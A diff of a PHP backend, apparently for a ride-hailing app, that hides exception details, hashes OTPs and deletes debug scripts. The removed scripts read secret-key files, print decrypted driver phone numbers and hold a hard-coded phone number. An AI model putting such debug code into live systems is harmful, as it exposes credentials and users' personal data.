|
|||||||
|
|
||||||
echo json_encode([
|
echo json_encode([
|
||||||
'status' => 'error',
|
'status' => 'error',
|
||||||
'message' => "Database error: $errorMsg"
|
'message' => "Database error occurred"
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
@@ -22,7 +22,7 @@ try {
|
|||||||
} catch (PDOException $e) {
|
} catch (PDOException $e) {
|
||||||
echo json_encode([
|
echo json_encode([
|
||||||
"status" => "error",
|
"status" => "error",
|
||||||
"message" => "Database error: " . $e->getMessage()
|
"message" => "An internal error occurred"
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
?>
|
?>
|
||||||
@@ -44,5 +44,5 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Approve Admin Error] " . $e->getMessage());
|
error_log("[Approve Admin Error] " . $e->getMessage());
|
||||||
jsonError("Server Error: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -29,5 +29,5 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[List Pending Admins Error] " . $e->getMessage());
|
error_log("[List Pending Admins Error] " . $e->getMessage());
|
||||||
jsonError("Server Error: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -140,11 +140,12 @@ try {
|
|||||||
$success = sendWhatsAppFromServer($phone, $messageBody);
|
$success = sendWhatsAppFromServer($phone, $messageBody);
|
||||||
|
|
||||||
if ($success) {
|
if ($success) {
|
||||||
// حفظ الرمز كما هو في قاعدة البيانات (بدون تشفير)
|
// تخزين هاش للـ OTP بدلاً من النص الصريح
|
||||||
|
$otpHash = hash('sha256', (string)$otp);
|
||||||
$stmt = $con->prepare("INSERT INTO token_verification_admin (phone_number, token, expiration_time)
|
$stmt = $con->prepare("INSERT INTO token_verification_admin (phone_number, token, expiration_time)
|
||||||
VALUES (?, ?, DATE_ADD(NOW(), INTERVAL 10 MINUTE))
|
VALUES (?, ?, DATE_ADD(NOW(), INTERVAL 10 MINUTE))
|
||||||
ON DUPLICATE KEY UPDATE token = VALUES(token), expiration_time = VALUES(expiration_time)");
|
ON DUPLICATE KEY UPDATE token = VALUES(token), expiration_time = VALUES(expiration_time)");
|
||||||
$stmt->execute([$encryptedPhone, $otp]);
|
$stmt->execute([$encryptedPhone, $otpHash]);
|
||||||
|
|
||||||
// إخفاء جزء من الرقم في الاستجابة للأمان
|
// إخفاء جزء من الرقم في الاستجابة للأمان
|
||||||
$maskedPhone = substr($phone, 0, 4) . '****' . substr($phone, -3);
|
$maskedPhone = substr($phone, 0, 4) . '****' . substr($phone, -3);
|
||||||
|
|||||||
@@ -22,12 +22,13 @@ if ($admin->role !== 'admin' && $admin->role !== 'super_admin') {
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// جلب المفتاح المشترك لسيرفر المحفظة
|
// جلب المفتاح المشترك لسيرفر المحفظة من متغير البيئة أو الملف
|
||||||
$payKeyPath = '/home/siro-api/.secret_key_pay';
|
$payKeyPath = getenv('SECRET_KEY_PAY_PATH');
|
||||||
$payKey = file_exists($payKeyPath) ? trim(file_get_contents($payKeyPath)) : getenv('SECRET_KEY_PAY');
|
$payKey = ($payKeyPath && file_exists($payKeyPath)) ? trim(file_get_contents($payKeyPath)) : getenv('SECRET_KEY_PAY');
|
||||||
|
|
||||||
if (empty($payKey)) {
|
if (empty($payKey)) {
|
||||||
$payKey = trim(@file_get_contents('/home/siro-api/.secret_key'));
|
$fallbackPath = getenv('SECRET_KEY_PATH');
|
||||||
|
$payKey = ($fallbackPath && file_exists($fallbackPath)) ? trim(file_get_contents($fallbackPath)) : null;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (empty($payKey)) {
|
if (empty($payKey)) {
|
||||||
@@ -89,5 +90,5 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Admin Wallet SSO Error] " . $e->getMessage());
|
error_log("[Admin Wallet SSO Error] " . $e->getMessage());
|
||||||
jsonError("Server Error: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,5 +24,5 @@ try {
|
|||||||
echo json_encode(["status" => "success", "message" => "Columns already exist."]);
|
echo json_encode(["status" => "success", "message" => "Columns already exist."]);
|
||||||
}
|
}
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
echo json_encode(["status" => "error", "message" => $e->getMessage()]);
|
echo json_encode(["status" => "error", "message" => "An internal error occurred"]);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ foreach ($tables as $table => $columns) {
|
|||||||
}
|
}
|
||||||
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
echo "Skipped $table due to error: " . $e->getMessage() . "\n";
|
echo "An internal error occurred" . "\n";
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -53,12 +53,6 @@ try {
|
|||||||
$encPhone = $encPhoneInput;
|
$encPhone = $encPhoneInput;
|
||||||
$encFp = $encryptionHelper->encryptData($fingerprint);
|
$encFp = $encryptionHelper->encryptData($fingerprint);
|
||||||
|
|
||||||
// التأكد من وجود عمود phone و status في الجدول
|
|
||||||
try {
|
|
||||||
$con->exec("ALTER TABLE adminUser ADD COLUMN phone VARCHAR(255) NULL AFTER name");
|
|
||||||
$con->exec("ALTER TABLE adminUser ADD COLUMN status VARCHAR(50) DEFAULT 'pending' AFTER role");
|
|
||||||
} catch (Exception $e) { /* الأعمدة موجودة مسبقاً */ }
|
|
||||||
|
|
||||||
// 4. الإدخال في قاعدة البيانات بحالة pending
|
// 4. الإدخال في قاعدة البيانات بحالة pending
|
||||||
$sql = "INSERT INTO adminUser (id, fingerprint, fingerprint_hash, name, phone, password, role, status, created_at)
|
$sql = "INSERT INTO adminUser (id, fingerprint, fingerprint_hash, name, phone, password, role, status, created_at)
|
||||||
VALUES (:id, :fp, :fp_hash, :name, :phone, :pass, 'admin', 'pending', NOW())";
|
VALUES (:id, :fp, :fp_hash, :name, :phone, :pass, 'admin', 'pending', NOW())";
|
||||||
@@ -80,7 +74,7 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Admin Register Error] " . $e->getMessage());
|
error_log("[Admin Register Error] " . $e->getMessage());
|
||||||
jsonError("خطأ في السيرفر: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|
||||||
exit();
|
exit();
|
||||||
|
|||||||
@@ -39,14 +39,14 @@ try {
|
|||||||
// فك تشفيره لو احتجنا إرساله أو عرضه، لكن هنا نحن نحتاج المشفر للبحث
|
// فك تشفيره لو احتجنا إرساله أو عرضه، لكن هنا نحن نحتاج المشفر للبحث
|
||||||
// $phone = $encryptionHelper->decryptData($encryptedPhone);
|
// $phone = $encryptionHelper->decryptData($encryptedPhone);
|
||||||
|
|
||||||
// تشفير الرمز (OTP) القادم من التطبيق للمقارنة
|
// هاش الرمز (OTP) القادم من التطبيق للمقارنة
|
||||||
$encryptedOtp = $encryptionHelper->encryptData((string)$otp);
|
$otpHash = hash('sha256', (string)$otp);
|
||||||
|
|
||||||
// 3. التحقق من الـ OTP (باستخدام القيم المشفرة)
|
// 3. التحقق من الـ OTP
|
||||||
$stmt = $con->prepare("SELECT * FROM token_verification_admin
|
$stmt = $con->prepare("SELECT * FROM token_verification_admin
|
||||||
WHERE phone_number = ? AND token = ?
|
WHERE phone_number = ? AND token = ?
|
||||||
AND expiration_time >= NOW()");
|
AND expiration_time >= NOW()");
|
||||||
$stmt->execute([$encryptedPhone, $encryptedOtp]);
|
$stmt->execute([$encryptedPhone, $otpHash]);
|
||||||
|
|
||||||
if ($stmt->rowCount() === 0) {
|
if ($stmt->rowCount() === 0) {
|
||||||
jsonError("رمز التحقق غير صالح أو منتهي الصلاحية.");
|
jsonError("رمز التحقق غير صالح أو منتهي الصلاحية.");
|
||||||
@@ -83,5 +83,5 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Admin Verify OTP Error] " . $e->getMessage());
|
error_log("[Admin Verify OTP Error] " . $e->getMessage());
|
||||||
jsonError("خطأ في السيرفر: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +0,0 @@
|
|||||||
# 🔒 SECURITY: Block all access to debug files
|
|
||||||
# This directory contains sensitive debugging scripts
|
|
||||||
# DO NOT remove this file in production
|
|
||||||
|
|
||||||
<RequireAll>
|
|
||||||
Require all denied
|
|
||||||
</RequireAll>
|
|
||||||
|
|
||||||
# Alternative for older Apache:
|
|
||||||
# Deny from all
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
<?php
|
|
||||||
require_once 'connect.php';
|
|
||||||
|
|
||||||
try {
|
|
||||||
$stmt = $con->query("SELECT phone FROM driver LIMIT 10");
|
|
||||||
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
|
||||||
foreach ($rows as $row) {
|
|
||||||
echo "Raw: " . $row['phone'] . " | Decrypted: " . $encryptionHelper->decryptData($row['phone']) . "\n";
|
|
||||||
}
|
|
||||||
} catch (Exception $e) {
|
|
||||||
echo "An error occurred.";
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
<?php
|
|
||||||
require_once 'connect.php';
|
|
||||||
|
|
||||||
try {
|
|
||||||
$stmt = $con->query("DESCRIBE users");
|
|
||||||
$cols = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
|
||||||
echo json_encode($cols, JSON_PRETTY_PRINT);
|
|
||||||
} catch (Exception $e) {
|
|
||||||
echo "An error occurred.";
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
<?php
|
|
||||||
require_once __DIR__ . '/connect.php';
|
|
||||||
|
|
||||||
$searchPhone = '0992952235';
|
|
||||||
echo "Searching for: $searchPhone\n";
|
|
||||||
|
|
||||||
$variants = [$searchPhone, '963' . substr($searchPhone, 1), '+963' . substr($searchPhone, 1)];
|
|
||||||
|
|
||||||
foreach ($variants as $v) {
|
|
||||||
echo "Checking variant: $v\n";
|
|
||||||
$enc = $encryptionHelper->encryptData($v);
|
|
||||||
|
|
||||||
$stmt = $con->prepare("SELECT id, phone, first_name FROM driver WHERE phone = ? OR phone = ?");
|
|
||||||
$stmt->execute([$v, $enc]);
|
|
||||||
$res = $stmt->fetch();
|
|
||||||
|
|
||||||
if ($res) {
|
|
||||||
echo "FOUND! ID: {$res['id']}, Name: {$res['first_name']}, Phone in DB: {$res['phone']}\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "NOT FOUND in driver table.\n";
|
|
||||||
@@ -1,57 +0,0 @@
|
|||||||
<?php
|
|
||||||
// env_test.php - أداة مخصصة لاختبار جميع متغيرات البيئة
|
|
||||||
require_once __DIR__ . '/core/bootstrap.php'; // لتحميل الـ .env
|
|
||||||
|
|
||||||
header('Content-Type: text/plain; charset=utf-8');
|
|
||||||
|
|
||||||
echo "=== فحص متغيرات البيئة (Environment Variables) ===\n\n";
|
|
||||||
|
|
||||||
$keysToCheck = [
|
|
||||||
'PASSENGER_SOCKET_URL',
|
|
||||||
'LOCATION_SOCKET_URL',
|
|
||||||
'INTERNAL_SOCKET_KEY_PATH',
|
|
||||||
'SECRET_KEY_PAY_PATH',
|
|
||||||
'SECRET_KEY_HMAC',
|
|
||||||
'allowed1',
|
|
||||||
'allowed2',
|
|
||||||
'passwordnewpassenger',
|
|
||||||
'FP_PEPPER'
|
|
||||||
];
|
|
||||||
|
|
||||||
foreach ($keysToCheck as $key) {
|
|
||||||
$val = getenv($key);
|
|
||||||
if ($val !== false && $val !== '') {
|
|
||||||
// إخفاء جزء من القيم الحساسة مثل كلمات المرور
|
|
||||||
if (strpos(strtolower($key), 'password') !== false || strpos(strtolower($key), 'secret') !== false || strpos(strtolower($key), 'hmac') !== false) {
|
|
||||||
$hiddenVal = substr($val, 0, 3) . '***' . substr($val, -3);
|
|
||||||
echo "[OK] $key = $hiddenVal\n";
|
|
||||||
} else {
|
|
||||||
echo "[OK] $key = $val\n";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
echo "[ERROR] $key = (مفقود أو فارغ!)\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "\n\n=== فحص الملفات المباشرة ===\n\n";
|
|
||||||
|
|
||||||
$filesToCheck = [
|
|
||||||
'/home/siro-api/.internal_socket_key',
|
|
||||||
'/home/siro-api/.secret_key_pay'
|
|
||||||
];
|
|
||||||
|
|
||||||
foreach ($filesToCheck as $file) {
|
|
||||||
if (file_exists($file)) {
|
|
||||||
$content = trim(file_get_contents($file));
|
|
||||||
if (!empty($content)) {
|
|
||||||
$hidden = substr($content, 0, 3) . '***' . substr($content, -3);
|
|
||||||
echo "[OK] File ($file) exists and has content: $hidden\n";
|
|
||||||
} else {
|
|
||||||
echo "[WARNING] File ($file) exists but is EMPTY!\n";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
echo "[ERROR] File ($file) DOES NOT EXIST!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "\n=== انتهى الفحص ===\n";
|
|
||||||
@@ -1,78 +0,0 @@
|
|||||||
<?php
|
|
||||||
include 'connect.php';
|
|
||||||
|
|
||||||
// نضمن أن الرد دائماً JSON
|
|
||||||
header('Content-Type: application/json; charset=utf-8');
|
|
||||||
|
|
||||||
// 1) قراءة الـ body كـ JSON (من Flutter)
|
|
||||||
$raw = file_get_contents('php://input');
|
|
||||||
$data = json_decode($raw, true);
|
|
||||||
|
|
||||||
if (!is_array($data)) {
|
|
||||||
// fallback لو أرسلت form-data أو x-www-form-urlencoded
|
|
||||||
$data = $_POST;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2) التحقق من رقم هاتف الأدمن المصرّح له
|
|
||||||
|
|
||||||
// قراءة الأرقام المسموح لها من الـ ENV
|
|
||||||
$phonesRaw = getenv('ADMIN_PHONE_NUMBERS') ?: '';
|
|
||||||
$ALLOWED_TOOL_PHONES = array_values(
|
|
||||||
array_filter(
|
|
||||||
array_map(function ($p) {
|
|
||||||
// إزالة أي رموز غير رقمية (مسافات، +، - إلخ)
|
|
||||||
return preg_replace('/\D+/', '', $p);
|
|
||||||
}, explode(',', $phonesRaw))
|
|
||||||
)
|
|
||||||
);
|
|
||||||
|
|
||||||
// رقم الهاتف القادم من Flutter (parameter جديد)
|
|
||||||
$adminPhoneParam = isset($data['admin_phone'])
|
|
||||||
? preg_replace('/\D+/', '', $data['admin_phone'])
|
|
||||||
: '';
|
|
||||||
|
|
||||||
// إذا لم يُرسل رقم أو لم يكن ضمن القائمة → منع الوصول
|
|
||||||
if ($adminPhoneParam === '' || !in_array($adminPhoneParam, $ALLOWED_TOOL_PHONES, true)) {
|
|
||||||
http_response_code(403);
|
|
||||||
echo json_encode([
|
|
||||||
'status' => 'error',
|
|
||||||
'message' => 'Access denied for this admin phone.',
|
|
||||||
]);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3) التحقق من بقية المدخلات (action + text)
|
|
||||||
$action = $data['action'] ?? '';
|
|
||||||
$text = trim($data['text'] ?? '');
|
|
||||||
|
|
||||||
if ($text === '' || ($action !== 'encrypt' && $action !== 'decrypt')) {
|
|
||||||
http_response_code(400);
|
|
||||||
echo json_encode([
|
|
||||||
'status' => 'error',
|
|
||||||
'message' => 'Invalid input: need action=encrypt|decrypt and non-empty text.',
|
|
||||||
]);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4) تنفيذ التشفير / الفك
|
|
||||||
try {
|
|
||||||
// require_once __DIR__ . '/encrypt_decrypt.php';
|
|
||||||
|
|
||||||
if ($action === 'encrypt') {
|
|
||||||
$result = $encryptionHelper->encryptData($text);
|
|
||||||
} else { // decrypt
|
|
||||||
$result = $encryptionHelper->decryptData($text);
|
|
||||||
}
|
|
||||||
|
|
||||||
echo json_encode([
|
|
||||||
'status' => 'success',
|
|
||||||
'action' => $action,
|
|
||||||
'result' => (string) $result,
|
|
||||||
]);
|
|
||||||
} catch (Exception $e) {
|
|
||||||
http_response_code(500);
|
|
||||||
echo json_encode([
|
|
||||||
'status' => 'error',
|
|
||||||
'message' => 'Operation failed.',
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
<?php
|
|
||||||
require_once 'connect.php';
|
|
||||||
|
|
||||||
echo "--- ADMIN TABLE ---\n";
|
|
||||||
try {
|
|
||||||
$stmt = $con->prepare("SELECT id, name, role FROM admin");
|
|
||||||
$stmt->execute();
|
|
||||||
$admins = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
|
||||||
print_r($admins);
|
|
||||||
} catch (Exception $e) {
|
|
||||||
echo "Error: " . $e->getMessage() . "\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "\n--- DATABASES ---\n";
|
|
||||||
try {
|
|
||||||
$stmt = $con->prepare("SHOW DATABASES");
|
|
||||||
$stmt->execute();
|
|
||||||
$dbs = $stmt->fetchAll(PDO::FETCH_COLUMN);
|
|
||||||
print_r($dbs);
|
|
||||||
} catch (Exception $e) {
|
|
||||||
echo "Error: " . $e->getMessage() . "\n";
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
<?php
|
|
||||||
echo ini_get('error_log');
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
<?php
|
|
||||||
require_once __DIR__ . '/../core/bootstrap.php';
|
|
||||||
require_once __DIR__ . '/../functions.php';
|
|
||||||
|
|
||||||
$con = Database::get('main');
|
|
||||||
$lat = 32.11171;
|
|
||||||
$lng = 36.06737;
|
|
||||||
$carType = 'Fixed Price';
|
|
||||||
|
|
||||||
echo "Testing findBestDrivers...\n";
|
|
||||||
$drivers = findBestDrivers($con, $lat, $lng, $carType);
|
|
||||||
print_r($drivers);
|
|
||||||
echo "Done.\n";
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
<?php
|
|
||||||
require_once __DIR__ . '/../core/bootstrap.php';
|
|
||||||
$redis = getRedis(); // or however it's connected in bootstrap
|
|
||||||
if (!$redis) {
|
|
||||||
echo "No redis\n"; exit;
|
|
||||||
}
|
|
||||||
$redis->geoadd('geo:rides:waiting', 36.0, 32.0, 'test_ride');
|
|
||||||
$res = $redis->georadius('geo:rides:waiting', 36.0, 32.0, 10, 'km', ['WITHDIST' => true]);
|
|
||||||
print_r($res);
|
|
||||||
echo json_encode($res) . "\n";
|
|
||||||
@@ -37,5 +37,6 @@ try {
|
|||||||
}
|
}
|
||||||
|
|
||||||
} catch (PDOException $e) {
|
} catch (PDOException $e) {
|
||||||
jsonError("Error: " . $e->getMessage());
|
error_log("[deleteCaptain.php] " . $e->getMessage());
|
||||||
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
@@ -24,7 +24,7 @@ try {
|
|||||||
}
|
}
|
||||||
} catch (PDOException $e) {
|
} catch (PDOException $e) {
|
||||||
// Handle any SQL errors
|
// Handle any SQL errors
|
||||||
jsonError("Error deleting records: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|
||||||
?>
|
?>
|
||||||